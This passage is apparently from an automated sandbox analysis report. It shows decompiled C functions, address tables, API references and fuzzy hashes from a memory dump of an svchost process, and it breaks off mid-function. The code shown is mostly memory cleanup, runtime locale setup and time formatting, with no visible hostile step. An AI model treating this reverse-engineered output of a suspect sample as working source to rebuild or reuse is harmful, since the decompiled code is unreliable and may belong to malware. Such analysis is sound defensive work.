0x04014140
0x0401443a
0x00000000
0x00000000
0x0401443c
0x040140f8
0x040140fb
0x040140fb
0x040140f6
0x00000000
0x04013ffe
0x00000000
0x04013ffc
0x04014445
0x00000000
0x00000000
0x00000000
0x04013f9b
0x00000000
0x04013f88
0x0401444b
0x04014451
0x04014451
0x00000000

APIs

_memcmp.LIBCMT ref: 04013FF2

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 4ab6c835b3a8d386f7d6cb5b157b7cd7d659ba90d45b0f81057a5aa373f928b3
Instruction ID: 1232f30742209602bb969d2521b285a9e46184637cee8bf4b984800216b21bdb
Opcode Fuzzy Hash: 4ab6c835b3a8d386f7d6cb5b157b7cd7d659ba90d45b0f81057a5aa373f928b3
Instruction Fuzzy Hash: 0EF125B0E04219DFDB14DFA8D894BEEBBB1BF48308F148119E415BB2A5D774AA41CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04023C90 Relevance: 10.8, APIs: 7, Instructions: 281
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E04023C90(intOrPtr __ecx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				intOrPtr _v128;
				intOrPtr _t210;
				void* _t213;
				void* _t324;

				_v100 = __ecx;
				if( *((intOrPtr*)(_v100 + 0x58)) != 0) {
					_v28 =  *((intOrPtr*)(_v100 + 0x58));
					_v24 = _v28;
					if(_v24 == 0) {
						_v104 = 0;
					} else {
						_v104 = E040050D0(_v24, 1);
					}
					 *((intOrPtr*)(_v100 + 0x58)) = 0x666;
				}
				if( *((intOrPtr*)(_v100 + 4)) != 0) {
					_v32 =  *((intOrPtr*)(_v100 + 4));
					E04020CC0(_v32);
					_t324 = _t324 + 4;
					 *((intOrPtr*)(_v100 + 4)) = 0x666;
				}
				if( *((intOrPtr*)(_v100 + 0x14)) != 0) {
					_v40 =  *((intOrPtr*)(_v100 + 0x14));
					_v36 = _v40;
					if(_v36 == 0) {
						_v108 = 0;
					} else {
						_v108 = E04005100(_v36, 1);
					}
					 *((intOrPtr*)(_v100 + 0x14)) = 0x666;
				}
				_t210 = _v100;
				if( *((intOrPtr*)(_t210 + 0x18)) != 0) {
					_v48 =  *((intOrPtr*)(_v100 + 0x18));
					_t210 = _v48;
					_v44 = _t210;
					if(_v44 == 0) {
						_v112 = 0;
					} else {
						_t210 = E04005130(_v44, 1);
						_v112 = _t210;
					}
					 *((intOrPtr*)(_v100 + 0x18)) = 0x666;
				}
				if( *((intOrPtr*)(_v100 + 0x20)) > 0) {
					_t210 = _v100;
					if( *((intOrPtr*)(_t210 + 0x1c)) != 0) {
						_v8 = 0;
						while(_v8 <  *((intOrPtr*)(_v100 + 0x20))) {
							if( *((intOrPtr*)( *((intOrPtr*)(_v100 + 0x1c)) + _v8 * 4)) != 0) {
								_v56 =  *((intOrPtr*)( *((intOrPtr*)(_v100 + 0x1c)) + _v8 * 4));
								_v52 = _v56;
								if(_v52 == 0) {
									_v116 = 0;
								} else {
									_v116 = E04005160(_v52, 1);
								}
								 *((intOrPtr*)( *((intOrPtr*)(_v100 + 0x1c)) + _v8 * 4)) = 0x666;
							}
							_v8 = _v8 + 1;
						}
						_t210 = _v100;
						if( *((intOrPtr*)(_t210 + 0x1c)) != 0) {
							_v60 =  *((intOrPtr*)(_v100 + 0x1c));
							_t210 = E04020CC0(_v60);
							_t324 = _t324 + 4;
							 *((intOrPtr*)(_v100 + 0x1c)) = 0x666;
						}
					}
				}
				if( *((intOrPtr*)(_v100 + 0x2c)) > 0) {
					_t210 = _v100;
					if( *((intOrPtr*)(_t210 + 0x28)) != 0) {
						_v12 = 0;
						while(_v12 <  *((intOrPtr*)(_v100 + 0x2c))) {
							if( *((intOrPtr*)( *((intOrPtr*)(_v100 + 0x28)) + _v12 * 4)) != 0) {
								_v68 =  *((intOrPtr*)( *((intOrPtr*)(_v100 + 0x28)) + _v12 * 4));
								_v64 = _v68;
								if(_v64 == 0) {
									_v120 = 0;
								} else {
									_v120 = E04005190(_v64, 1);
								}
								 *((intOrPtr*)( *((intOrPtr*)(_v100 + 0x28)) + _v12 * 4)) = 0x666;
							}
							_v12 = _v12 + 1;
						}
						_t210 = _v100;
						if( *((intOrPtr*)(_t210 + 0x28)) != 0) {
							_v72 =  *((intOrPtr*)(_v100 + 0x28));
							_t210 = E04020CC0(_v72);
							_t324 = _t324 + 4;
							 *((intOrPtr*)(_v100 + 0x28)) = 0x666;
						}
					}
				}
				if( *((intOrPtr*)(_v100 + 0x38)) > 0) {
					_t210 = _v100;
					if( *((intOrPtr*)(_t210 + 0x34)) != 0) {
						_v16 = 0;
						while(_v16 <  *((intOrPtr*)(_v100 + 0x38))) {
							if( *((intOrPtr*)( *((intOrPtr*)(_v100 + 0x34)) + _v16 * 4)) != 0) {
								_v80 =  *((intOrPtr*)( *((intOrPtr*)(_v100 + 0x34)) + _v16 * 4));
								_v76 = _v80;
								if(_v76 == 0) {
									_v124 = 0;
								} else {
									_v124 = E040051C0(_v76, 1);
								}
								 *((intOrPtr*)( *((intOrPtr*)(_v100 + 0x34)) + _v16 * 4)) = 0x666;
							}
							_v16 = _v16 + 1;
						}
						_t210 = _v100;
						if( *((intOrPtr*)(_t210 + 0x34)) != 0) {
							_v84 =  *((intOrPtr*)(_v100 + 0x34));
							_t210 = E04020CC0(_v84);
							_t324 = _t324 + 4;
							 *((intOrPtr*)(_v100 + 0x34)) = 0x666;
						}
					}
				}
				if( *((intOrPtr*)(_v100 + 0x44)) > 0) {
					_t210 = _v100;
					if( *((intOrPtr*)(_t210 + 0x40)) != 0) {
						_v20 = 0;
						while(_v20 <  *((intOrPtr*)(_v100 + 0x44))) {
							if( *((intOrPtr*)( *((intOrPtr*)(_v100 + 0x40)) + _v20 * 4)) != 0) {
								_v92 =  *((intOrPtr*)( *((intOrPtr*)(_v100 + 0x40)) + _v20 * 4));
								_v88 = _v92;
								if(_v88 == 0) {
									_v128 = 0;
								} else {
									_v128 = E040051F0(_v88, 1);
								}
								 *((intOrPtr*)( *((intOrPtr*)(_v100 + 0x40)) + _v20 * 4)) = 0x666;
							}
							_v20 = _v20 + 1;
						}
						_t210 = _v100;
						if( *((intOrPtr*)(_t210 + 0x40)) != 0) {
							_v96 =  *((intOrPtr*)(_v100 + 0x40));
							_t213 = E04020CC0(_v96);
							 *((intOrPtr*)(_v100 + 0x40)) = 0x666;
							return _t213;
						}
					}
				}
				return _t210;
			}

0x04023c96
0x04023ca0
0x04023ca8
0x04023cae
0x04023cb5
0x04023cc6
0x04023cb7
0x04023cc1
0x04023cc1
0x04023cd0
0x04023cd0
0x04023cde
0x04023ce6
0x04023ced
0x04023cf2
0x04023cf8
0x04023cf8
0x04023d06
0x04023d0e
0x04023d14
0x04023d1b
0x04023d2c
0x04023d1d
0x04023d27
0x04023d27
0x04023d36
0x04023d36
0x04023d3d
0x04023d44
0x04023d4c
0x04023d4f
0x04023d52
0x04023d59
0x04023d6a
0x04023d5b
0x04023d60
0x04023d65
0x04023d65
0x04023d74
0x04023d74
0x04023d82
0x04023d88
0x04023d8f
0x04023d95
0x04023da7
0x04023dbf
0x04023dcd
0x04023dd3
0x04023dda
0x04023deb
0x04023ddc
0x04023de6
0x04023de6
0x04023dfb
0x04023dfb
0x04023da4
0x04023da4
0x04023e04
0x04023e0b
0x04023e13
0x04023e1a
0x04023e1f
0x04023e25
0x04023e25
0x04023e0b
0x04023d8f
0x04023e33
0x04023e39
0x04023e40
0x04023e46
0x04023e58
0x04023e70
0x04023e7e
0x04023e84
0x04023e8b
0x04023e9c
0x04023e8d
0x04023e97
0x04023e97
0x04023eac
0x04023eac
0x04023e55
0x04023e55
0x04023eb5
0x04023ebc
0x04023ec4
0x04023ecb
0x04023ed0
0x04023ed6
0x04023ed6
0x04023ebc
0x04023e40
0x04023ee4
0x04023eea
0x04023ef1
0x04023ef7
0x04023f09
0x04023f21
0x04023f2f
0x04023f35
0x04023f3c
0x04023f4d
0x04023f3e
0x04023f48
0x04023f48
0x04023f5d
0x04023f5d
0x04023f06
0x04023f06
0x04023f66
0x04023f6d
0x04023f75
0x04023f7c
0x04023f81
0x04023f87
0x04023f87
0x04023f6d
0x04023ef1
0x04023f95
0x04023f9b
0x04023fa2
0x04023fa8
0x04023fba
0x04023fd2
0x04023fe0
0x04023fe6
0x04023fed
0x04023ffe
0x04023fef
0x04023ff9
0x04023ff9
0x0402400e
0x0402400e
0x04023fb7
0x04023fb7
0x04024017
0x0402401e
0x04024026
0x0402402d
0x04024038
0x00000000
0x04024038
0x0402401e
0x04023fa2
0x04024042

APIs

codecvt.LIBCPMTD ref: 04023CBC
codecvt.LIBCPMTD ref: 04023D22
codecvt.LIBCPMTD ref: 04023D60
codecvt.LIBCPMTD ref: 04023DE1
codecvt.LIBCPMTD ref: 04023E92
codecvt.LIBCPMTD ref: 04023F43
codecvt.LIBCPMTD ref: 04023FF4

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: codecvt
String ID:
API String ID: 3662085145-0
Opcode ID: 481a094063eea0996d580fe575330a3dfc80b192d07c727697d1ca0252fb713b
Instruction ID: a3cb5fddb2616e01ffbd0549c63a57f7e4090b46a873f7d090d06a3cf8222b0d
Opcode Fuzzy Hash: 481a094063eea0996d580fe575330a3dfc80b192d07c727697d1ca0252fb713b
Instruction Fuzzy Hash: C5E18374A00328DFDB58CF94D998BADBBB2BF49308F244159D8096B391D776AD86CF40

Uniqueness

Uniqueness Score: -1.00%

Function 04024820 Relevance: 9.2, APIs: 6, Instructions: 202
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E04024820(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi, signed int _a4, signed int _a12) {
				intOrPtr* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr* _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _t114;
				intOrPtr _t119;
				void* _t121;
				signed char _t124;
				intOrPtr _t130;
				void* _t146;
				void* _t198;
				void* _t199;
				void* _t200;
				void* _t201;
				void* _t203;

				_t199 = __esi;
				_t198 = __edi;
				_t146 = __ebx;
				_v64 = __ecx;
				_v8 = 0;
				L1:
				while(_a4 >= 0) {
					_v28 =  *((intOrPtr*)( *((intOrPtr*)(_v64 + 4)) + 0x18));
					_v16 =  *((intOrPtr*)( *((intOrPtr*)(_v64 + 4)) + 0x14));
					if(_v28 != 0 && _v16 != 0) {
						_v20 =  *((intOrPtr*)( *((intOrPtr*)(_v16 + 4)) + _a4 * 4));
						if( *((intOrPtr*)(_v20 + 0xc)) != 0) {
							E040114D0( *_v64, _a4, 0, 1, _a12 & 0x000000ff);
							_t114 = E04020CE0(8);
							_t201 = _t200 + 4;
							_v36 = _t114;
							if(_v36 == 0) {
								_v68 = 0;
							} else {
								_v68 = E0401F4E0(_v36);
							}
							_v12 = _v68;
							E0401FC90(_t146, _v12, _t198, _t199,  *((intOrPtr*)(_v28 + 0x1c)), E040070A0( *((intOrPtr*)(_v28 + 0x1c))));
							_t119 = E04020CE0(8);
							_t203 = _t201 + 8;
							_v40 = _t119;
							if(_v40 == 0) {
								_v72 = 0;
							} else {
								_v72 = E0401F4E0(_v40);
							}
							_v24 = _v72;
							_t121 = E040070A0( *((intOrPtr*)(_v28 + 0x20)));
							_t200 = _t203 + 4;
							_t189 =  *((intOrPtr*)(_v28 + 0x20));
							E0401FC90(_t146, _v24, _t198, _t199,  *((intOrPtr*)(_v28 + 0x20)), _t121);
							while(1) {
								_t124 = E04015C60(_t146,  *_v64, _t189, _v12);
								_t190 = _t124 & 0x000000ff;
								if((_t124 & 0x000000ff) == 0) {
									break;
								}
								if((E04015C60(_t146,  *_v64, _t190, _v24) & 0x000000ff) != 0) {
									E040114D0( *_v64, _a4, 0, 0, _a12 & 0x000000ff);
									_v32 = E040246A0(_t146, _v64, _t198, _t199);
									if(_v32 != 0) {
										_t130 = E04020CE0(0x14);
										_t200 = _t200 + 4;
										_v44 = _t130;
										if(_v44 == 0) {
											_v76 = 0;
										} else {
											_v76 = E04006060(_v44);
										}
										_v8 = _v76;
										 *_v8 = E040242C0(_t146, _v64, _t198, _t199, _v12);
										 *((intOrPtr*)(_v8 + 4)) = E040243F0(_t146, _v64, _t198, _t199, _v12);
										 *((intOrPtr*)(_v8 + 8)) = E04024180(_t146, _v64, _t198, _t199, _v24);
										_t195 = _a12 & 0x000000ff;
										if((_a12 & 0x000000ff) == 0) {
											_t79 = _v20 + 0xc; // 0xc7077400
											 *((intOrPtr*)(_v8 + 0xc)) = E040240B0(_t146, _v64, _t195, _t198, _t199,  *_t79);
										}
										 *((intOrPtr*)(_v8 + 0x10)) = _v32;
										_t189 = 0;
										if(0 != 0) {
											continue;
										}
									} else {
									}
								} else {
								}
								L27:
								if(_v12 != 0) {
									_v52 = _v12;
									_v48 = _v52;
									if(_v48 == 0) {
										_v80 = 0;
									} else {
										_v80 = E04004EA0(_v48, 1);
									}
									_v12 = 0x666;
								}
								if(_v24 != 0) {
									_v60 = _v24;
									_v56 = _v60;
									if(_v56 == 0) {
										_v84 = 0;
									} else {
										_v84 = E04004EA0(_v56, 1);
									}
									_v24 = 0x666;
								}
								if(0 != 0) {
									goto L1;
								}
								goto L38;
							}
							goto L27;
						} else {
						}
					}
					L38:
					return _v8;
				}
				goto L38;
			}

0x04024820
0x04024820
0x04024820
0x04024826
0x04024829
0x00000000
0x04024830
0x04024844
0x04024850
0x04024857
0x04024870
0x0402487a
0x04024893
0x0402489a
0x0402489f
0x040248a2
0x040248a9
0x040248b8
0x040248ab
0x040248b3
0x040248b3
0x040248c2
0x040248df
0x040248e6
0x040248eb
0x040248ee
0x040248f5
0x04024904
0x040248f7
0x040248ff
0x040248ff
0x0402490e
0x04024918
0x0402491d
0x04024924
0x0402492b
0x04024930
0x04024939
0x0402493e
0x04024943
0x00000000
0x00000000
0x0402495d
0x04024976
0x04024983
0x0402498a
0x04024993
0x04024998
0x0402499b
0x040249a2
0x040249b1
0x040249a4
0x040249ac
0x040249ac
0x040249bb
0x040249cd
0x040249de
0x040249f0
0x040249f3
0x040249f9
0x040249fe
0x04024a0d
0x04024a0d
0x04024a16
0x04024a19
0x04024a1b
0x00000000
0x00000000
0x00000000
0x0402498c
0x00000000
0x0402495f
0x04024a21
0x04024a25
0x04024a2a
0x04024a30
0x04024a37
0x04024a48
0x04024a39
0x04024a43
0x04024a43
0x04024a4f
0x04024a4f
0x04024a5a
0x04024a5f
0x04024a65
0x04024a6c
0x04024a7d
0x04024a6e
0x04024a78
0x04024a78
0x04024a84
0x04024a84
0x04024a8d
0x00000000
0x00000000
0x00000000
0x04024a8d
0x00000000
0x00000000
0x0402487c
0x0402487a
0x04024a93
0x04024a99
0x04024a99
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97f17c946a3c54a9cad3e83d6fdf94190c77b8b4620ad00b5b108f5948b5f234
Instruction ID: a5d7251e2747225a00ddcb09f2389310aff70beb4688250c6b3f934d2e6ae519
Opcode Fuzzy Hash: 97f17c946a3c54a9cad3e83d6fdf94190c77b8b4620ad00b5b108f5948b5f234
Instruction Fuzzy Hash: 0491C6B4E00229EFDB08DF94D594BAEBBB1BF88308F148059E9157B390DB75A941CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04013410 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 138
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E04013410(void* __ebx, intOrPtr* __ecx, void* __edx, intOrPtr _a4) {
				void* _v8;
				signed int _v12;
				void _v60;
				void _v96;
				void* _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				void* _v116;
				intOrPtr _v120;
				void* _v124;
				intOrPtr* _v128;
				intOrPtr _v132;
				void* _v136;
				void* __edi;
				void* __esi;
				intOrPtr _t87;
				intOrPtr _t95;
				void* _t98;
				signed int _t142;
				void* _t143;
				void* _t145;

				_t98 = __ebx;
				_v12 =  *0x429024 ^ _t142;
				_v128 = __ecx;
				_v8 = 0;
				while(_a4 != 0) {
					memcpy( &_v60, 0x426ef4, 0xb << 2);
					asm("movsb");
					memcpy( &_v96, 0x426f24, 8 << 2);
					_t145 = _t143 + 0x18;
					asm("movsb");
					if( *(_a4 + 0x24) >= 0) {
						if( *((intOrPtr*)( *_v128 + 0x2c)) >  *(_a4 + 0x24)) {
							_v108 = E040070A0( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_v128 + 0x28)) +  *(_a4 + 0x24) * 4)) + 0xc)));
							_v104 = _v108 + 0x1e;
							_v116 = E04020CE0(_v104 + 1);
							_v100 = _v116;
							E04007010(0x426f34, _v100, 0, _v104 + 1);
							 *0x4251f8(_v100, _v104 + 1,  &_v96,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_v128 + 0x28)) +  *(_a4 + 0x24) * 4)) + 0xc)));
							_t87 = E04020CE0(8);
							_t143 = _t145 + 0x28;
							_v120 = _t87;
							if(_v120 == 0) {
								_v136 = 0;
							} else {
								_v136 = E0401F4E0(_v120);
							}
							_t133 = _v136;
							_v8 = _v136;
							E0401FC90(_t98, _v8, 0x426f34, 0x426f24, _v100, _v104);
							if(_v100 != 0) {
								_t133 = _v100;
								_v124 = _v100;
								E04020CC0(_v124);
								_t143 = _t143 + 4;
								_v100 = 0x666;
							}
							L15:
							if(0 != 0) {
								continue;
							}
							L16:
							return E04006C8C(_v8, _t98, _v12 ^ _t142, _t133, 0x426f34, 0x426f24);
						}
						goto L16;
					}
					_t95 = E04020CE0(8);
					_t143 = _t145 + 4;
					_v112 = _t95;
					if(_v112 == 0) {
						_v132 = 0;
					} else {
						_v132 = E0401F4E0(_v112);
					}
					_v8 = _v132;
					_t133 =  &_v60;
					E0401FC90(_t98, _v8, 0x426f34, 0x426f24,  &_v60, 0x2c);
					goto L15;
				}
				goto L16;
			}

0x04013410
0x04013420
0x04013425
0x04013428
0x0401342f
0x04013447
0x04013449
0x04013457
0x04013457
0x04013459
0x04013461
0x040134b1
0x040134d5
0x040134de
0x040134f0
0x040134f6
0x04013506
0x04013532
0x0401353d
0x04013542
0x04013545
0x0401354c
0x0401355e
0x0401354e
0x04013556
0x04013556
0x04013568
0x0401356e
0x0401357c
0x04013585
0x04013587
0x0401358a
0x04013591
0x04013596
0x04013599
0x04013599
0x040135a0
0x040135a2
0x00000000
0x00000000
0x040135a8
0x040135ba
0x040135ba
0x00000000
0x040134b3
0x04013465
0x0401346a
0x0401346d
0x04013474
0x04013483
0x04013476
0x0401347e
0x0401347e
0x0401348d
0x04013492
0x04013499
0x00000000
0x04013499
0x00000000

APIs

std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 04013479

Strings

$oB, xrefs: 0401344F

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: Iterator_baseIterator_base::_std::_
String ID: $oB
API String ID: 370429920-3132252410
Opcode ID: 3f042deba27dbb9a6c53589dfe86891ceed2fc21ea38daa22f1df265e620214e
Instruction ID: ff111addb76ca9d35d31a8907435c4d95596588a54556616c049ff3552255213
Opcode Fuzzy Hash: 3f042deba27dbb9a6c53589dfe86891ceed2fc21ea38daa22f1df265e620214e
Instruction Fuzzy Hash: 5651FDB5E00218DFEB14DF98D984A9DB7B5FF48308F508169D9096B351D771B944CF81

Uniqueness

Uniqueness Score: -1.00%

Function 04011E70 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 132
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E04011E70(void* __ebx, intOrPtr __ecx, void* __eflags) {
				signed short _v8;
				signed short _v10;
				signed short _v12;
				signed short _v14;
				signed short _v16;
				signed short _v18;
				signed short _v20;
				signed int _v24;
				void _v60;
				intOrPtr _v64;
				signed int _v68;
				void _v120;
				intOrPtr _v124;
				void _v156;
				signed int _v332;
				intOrPtr _v336;
				intOrPtr _v340;
				intOrPtr _v344;
				intOrPtr _v348;
				char _v352;
				intOrPtr _v356;
				void* __edi;
				void* __esi;
				void* _t95;
				signed int _t107;
				signed int _t141;

				_t95 = __ebx;
				_v24 =  *0x429024 ^ _t141;
				_v348 = __ecx;
				_v64 = 0;
				memcpy( &_v60, 0x426fdc, 8 << 2);
				asm("movsw");
				asm("movsb");
				memcpy( &_v156, 0x427000, 7 << 2);
				asm("movsb");
				memcpy( &_v120, 0x427020, 0xc << 2);
				asm("movsb");
				_v336 = E04020CE0(0x3d);
				_v124 = _v336;
				E04007010(0x427038, _v124, 0, 0x3d);
				 *0x425108( &_v332);
				 *0x425180( &_v20);
				asm("cdq");
				asm("cdq");
				_t107 = _v332 / 0x3c * 0x64 + _v332 % 0x3c;
				_v68 = _t107;
				if(_t107 < 0) {
					_v68 =  ~_v68;
				}
				if(_v332 > 0) {
					_v352 = 0x427058;
				} else {
					_v352 = 0x427054;
				}
				_t33 =  &_v352; // 0x427058
				 *0x4251f8(_v124, 0x3c,  &_v60, _t141 + (_v16 & 0x0000ffff) * 4 - 0x98, _v14 & 0x0000ffff, _t141 + (_v18 & 0x0000ffff) * 4 - 0x78, _v20 & 0x0000ffff, _v12 & 0x0000ffff, _v10 & 0x0000ffff, _v8 & 0x0000ffff,  *_t33, _v68);
				_v340 = E04020CE0(8);
				if(_v340 == 0) {
					_v356 = 0;
				} else {
					_v356 = E0401F4E0(_v340);
				}
				_v64 = _v356;
				_t125 = _v124;
				E0401FC90(_t95, _v64, 0x427038, 0x3c, _v124, E040070A0(_v124));
				if(_v124 != 0) {
					_v344 = _v124;
					_t125 = _v344;
					E04020CC0(_v344);
					_v124 = 0x666;
				}
				return E04006C8C(_v64, _t95, _v24 ^ _t141, _t125, 0x427038, 0x3c);
			}

0x04011e70
0x04011e80
0x04011e85
0x04011e8b
0x04011e9f
0x04011ea1
0x04011ea3
0x04011eb4
0x04011eb6
0x04011ec4
0x04011ec6
0x04011ed1
0x04011edd
0x04011ee8
0x04011ef7
0x04011f01
0x04011f0d
0x04011f20
0x04011f28
0x04011f2a
0x04011f2d
0x04011f34
0x04011f34
0x04011f3e
0x04011f4c
0x04011f40
0x04011f40
0x04011f40
0x04011f5a
0x04011f99
0x04011fac
0x04011fb9
0x04011fce
0x04011fbb
0x04011fc6
0x04011fc6
0x04011fde
0x04011fe1
0x04011ff5
0x04011ffe
0x04012003
0x04012009
0x04012010
0x04012018
0x04012018
0x04012031

APIs

_memset.LIBCMT ref: 04011EE8
std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 04011FC1
_strlen.LIBCMT ref: 04011FE5

Strings

pB, xrefs: 04011EBC
XpB, xrefs: 04011F5A, 04011F60

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: Iterator_baseIterator_base::__memset_strlenstd::_
String ID: pB$XpB
API String ID: 3713721629-2178088481
Opcode ID: b650810ef28b1162b20fb2bb24cf354fa744417f5b86810a3d7f07fcca2c8c7f
Instruction ID: caac39b4c571324483d0a18a7aa4e44b6fb00a313373015349f42bda7133a820
Opcode Fuzzy Hash: b650810ef28b1162b20fb2bb24cf354fa744417f5b86810a3d7f07fcca2c8c7f
Instruction Fuzzy Hash: 1A513EB1E04228DBEB24DF95DC44BEEB7B5BB88308F1041A9E509BB290D7756A84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 040093F6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 58%

			E040093F6(intOrPtr* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t23;
				intOrPtr _t28;
				intOrPtr _t45;
				void* _t46;

				_t35 = __ebx;
				E04009CE8(__ebx, __edi, __esi);
				_t23 =  *0x425190(0x425310, 0x427a18, 0xc);
				if(_t23 == 0) {
					_t23 = E040099AE(0x425310);
				}
				 *((intOrPtr*)(_t46 - 0x1c)) = _t23;
				_t45 =  *((intOrPtr*)(_t46 + 8));
				 *((intOrPtr*)(_t45 + 0x5c)) = 0x4259d0;
				 *((intOrPtr*)(_t45 + 0x14)) = 1;
				if(_t23 != 0) {
					_t35 =  *0x425114;
					 *((intOrPtr*)(_t45 + 0x1f8)) =  *_t35(_t23, 0x425300);
					_t6 = _t46 - 0x1c; // 0x42532c
					 *((intOrPtr*)(_t45 + 0x1fc)) =  *_t35( *_t6, 0x42532c);
				}
				 *((intOrPtr*)(_t45 + 0x70)) = 1;
				 *((char*)(_t45 + 0xc8)) = 0x43;
				 *((char*)(_t45 + 0x14b)) = 0x43;
				 *((intOrPtr*)(_t45 + 0x68)) = 0x4294e8;
				E0400B404(_t35, 0xd);
				 *(_t46 - 4) =  *(_t46 - 4) & 0x00000000;
				 *0x4250a4( *((intOrPtr*)(_t45 + 0x68)));
				 *(_t46 - 4) = 0xfffffffe;
				E040094CB();
				E0400B404(_t35, 0xc);
				 *(_t46 - 4) = 1;
				_t28 =  *((intOrPtr*)(_t46 + 0xc));
				 *((intOrPtr*)(_t45 + 0x6c)) = _t28;
				if(_t28 == 0) {
					 *((intOrPtr*)(_t45 + 0x6c)) =  *0x4294d8;
				}
				E0400CA63( *((intOrPtr*)(_t45 + 0x6c)));
				 *(_t46 - 4) = 0xfffffffe;
				return E04009D2D(E040094D4());
			}

0x040093f6
0x040093fd
0x04009408
0x04009410
0x04009413
0x04009418
0x04009419
0x0400941c
0x0400941f
0x04009429
0x0400942e
0x04009436
0x0400943e
0x04009449
0x0400944e
0x0400944e
0x04009454
0x04009457
0x0400945e
0x04009465
0x0400946e
0x04009474
0x0400947b
0x04009481
0x04009488
0x0400948f
0x04009495
0x04009498
0x0400949b
0x040094a0
0x040094a7
0x040094a7
0x040094ad
0x040094b3
0x040094c4

APIs

__crt_waiting_on_module_handle.LIBCMT ref: 04009413
__lock.LIBCMT ref: 0400946E
__lock.LIBCMT ref: 0400948F
___addlocaleref.LIBCMT ref: 040094AD

Strings

,SB, xrefs: 04009449

Memory Dump Source

Source File: 0000000A.00000002.563207738.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 0000000A.00000002.563207738.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4000000_svchost.jbxd

Similarity

API ID: __lock$___addlocaleref__crt_waiting_on_module_handle
String ID: ,SB
API String ID: 1628550938-3344058557
Opcode ID: 3d3124fdb95e4bcea8cf975f9c6f5d5c3062870727a51910439b4630ff52904f
Instruction ID: 993150cf3f8eb55d910a7a38cf2a2ebf2ab550eb7e4aba8557308306761a1f3f
Opcode Fuzzy Hash: 3d3124fdb95e4bcea8cf975f9c6f5d5c3062870727a51910439b4630ff52904f
Instruction Fuzzy Hash: 6F1193B1904B019EF720EF759801B99BBE0AF00318F50C51AD599A72D1C774A641CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0401A890 Relevance: 7.8, APIs: 5, Instructions: 262
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E0401A890(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, intOrPtr _a4, signed short _a8, intOrPtr _a12, intOrPtr _a16) {
				short* _v8;
				intOrPtr _v12;
				short* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short* _v28;
				intOrPtr _v32;
				signed int _v36;
				char _v292;
				intOrPtr _v296;
				char _v300;
				intOrPtr _v304;
				intOrPtr _v308;
